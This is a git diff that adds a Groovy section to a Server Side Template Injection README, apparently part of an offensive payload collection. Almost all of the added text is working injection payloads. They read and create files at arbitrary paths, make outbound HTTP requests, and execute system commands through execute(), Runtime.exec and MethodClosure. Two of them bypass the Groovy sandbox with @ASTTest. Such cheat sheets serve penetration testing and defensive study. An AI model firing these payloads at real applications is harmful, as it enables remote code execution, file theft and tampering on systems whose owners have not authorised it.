diff --git a/Server Side Template Injection/README.md b/Server Side Template Injection/README.md
index b70b1e3..21f76c1 100644
--- a/Server Side Template Injection/README.md	
+++ b/Server Side Template Injection/README.md	
@@ -15,6 +15,12 @@
 * [Freemarker](#freemarker)
   * [Basic injection](#freemarker---basic-injection)
   * [Code execution](#freemarker---code-execution)
+* [Groovy](#groovy)
+  * [Basic injection](#groovy---basic-injection)
+  * [Read/Create file](#groovy---read-and-create-file)
+  * [HTTP Request](#groovy---http-request)
+  * [Command execution](#groovy---command-execution)
+  * [Sandbox bypass](#groovy---sandbox-bypass)
 * [Handlebars](#handlebars)
 * [Jade / Codepen](#jade--codepen)
 * [Java](#java)
@@ -184,6 +190,53 @@ ${dwf.newInstance(ec,null)("id")}
 
 ---
 
+## Groovy
+
+[Official website](https://groovy-lang.org/)
+
+### Groovy - Basic injection
+
+Refer to https://groovy-lang.org/syntax.html , but `${9*9}` is the basic injection.
+
+### Groovy - Read and create File
+
+```groovy
+${String x = new File('c:/windows/notepad.exe').text}
+${String x = new File('/path/to/file').getText('UTF-8')}
+${new File("C:\Temp\FileName.txt").createNewFile();}
+```
+
+### Groovy - HTTP request:
+
+```groovy
+${"http://www.google.com".toURL().text}
+${new URL("http://www.google.com").getText()}
+```
+
+### Groovy - Command Execution
+
+```groovy
+${"calc.exe".exec()}
+${"calc.exe".execute()}
+${this.evaluate("9*9") //(this is a Script class)}
+${new org.codehaus.groovy.runtime.MethodClosure("calc.exe","execute").call()}
+```
+
+### Groovy - Sandbox Bypass
+
+```groovy
+${ @ASTTest(value={assert java.lang.Runtime.getRuntime().exec("whoami")})
+def x }
+```
+
+or
+
+```groovy
+${ new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x") }
+```
+
+---
+
 ## Handlebars
 
 [Official website](https://handlebarsjs.com/)